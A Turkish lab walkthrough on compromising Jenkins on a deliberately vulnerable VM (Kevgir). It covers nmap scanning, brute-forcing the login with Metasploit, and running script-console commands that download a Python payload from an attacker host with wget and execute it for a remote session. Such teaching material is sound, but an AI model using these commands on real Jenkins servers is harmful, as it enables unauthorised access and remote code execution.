TR | How To Exploit Jenkins
Jenkins geliştirme süreçlerini otomatikleştirmeye yarayan ve genelde 8080 portunda çalışan bir uygulamadır. Jenkinste script bölümü vardır ve buraya yazılan scriptleri otomatik olarak çalıştırır.
Bu anlatımımda Canyoupwn.me ekibi olarak hazırlamış olduğumuz içinde zafiyetleri barındıran ve bunlardan biriside Jenkins zafiyeti olan Kevgir’den yararlandım.
IP adresi 192.168.79.143 olarak bildiğim Kevgir’i nmap aracıyla açık servis ve portlarını tarıyorum.
nmap –sT 192.168.79.143 –p 8080,9000 –A komut ile 8080 ve 9000 numaralı portları taradım.
Çıkan sonucu incelediğimizde 8080 Portunda Apachi Tomcatin çalıştığını, 9000 portunda ise Jenkinsin çalıştığını gördük. Port taramalarında servis taramalarının önemini burada bir kez daha görmüş olduk. Her ne kadar Jenkins genelde 8080 portundada çalışsa da burada başka bir port üzerinde çalıştığını görmüş olduk.
İkinci aşamada web portalı üzerinden Jenkinsin script paneline erişim sağlamalıyız. Bunun için ilgili ip adresi ve portu yazmalıyız.
192.168.79.143:9000/script adresine gittiğimizde bizi bir login paneli karşılamakta.
Metasploit aracı ile panele şifre denemesi yapacağız. Bunun için metasploit üzerinde jenkinsle ilgili hangi araçları kullanacağımızı bilmemiz gerekiyor. Eğer yeterli bilgiye sahip değilsek search jenkins
komutu ile metasploit içerisinde bulunan jenkinse ait uygulamaları görebiliriz. Biz jenkins_login’i kullanacağız.
Gerekli bilgileri veridğimizde kullanıcı adı ve parolayı bulduk.
Simdi web portalından script alanına giriş yapabiliriz.
Payload hazırlamak ve çalıştırmak için yine metasploit içinde bulunan web_delivery’den yararlanacağız.
‘http://192.168.79.140:8080/6hP4nFP0Fw9’ içine bir python ile oluşturulmuş payload oluşturdu ve biz bu payload’u jenkinsin script modülünden çalıştırmamız gereklidir.
Öncelikli olarak “wget http://192.168.79.140:8080/6hP4nFP0Fw9 -O /root/Desktop/jenkins_payload”.execute() komutu ile payloadu indiriyoruz ve kaydediyoruz. Ardından;
python /root/Desktop/jenkins_payload.execute()
komutu ile indirdiğimiz payloadu çalıştırıyoruz.
Web_delivery üzerinden takip ettiğimizde sessionu aldığımızı göreceksiniz.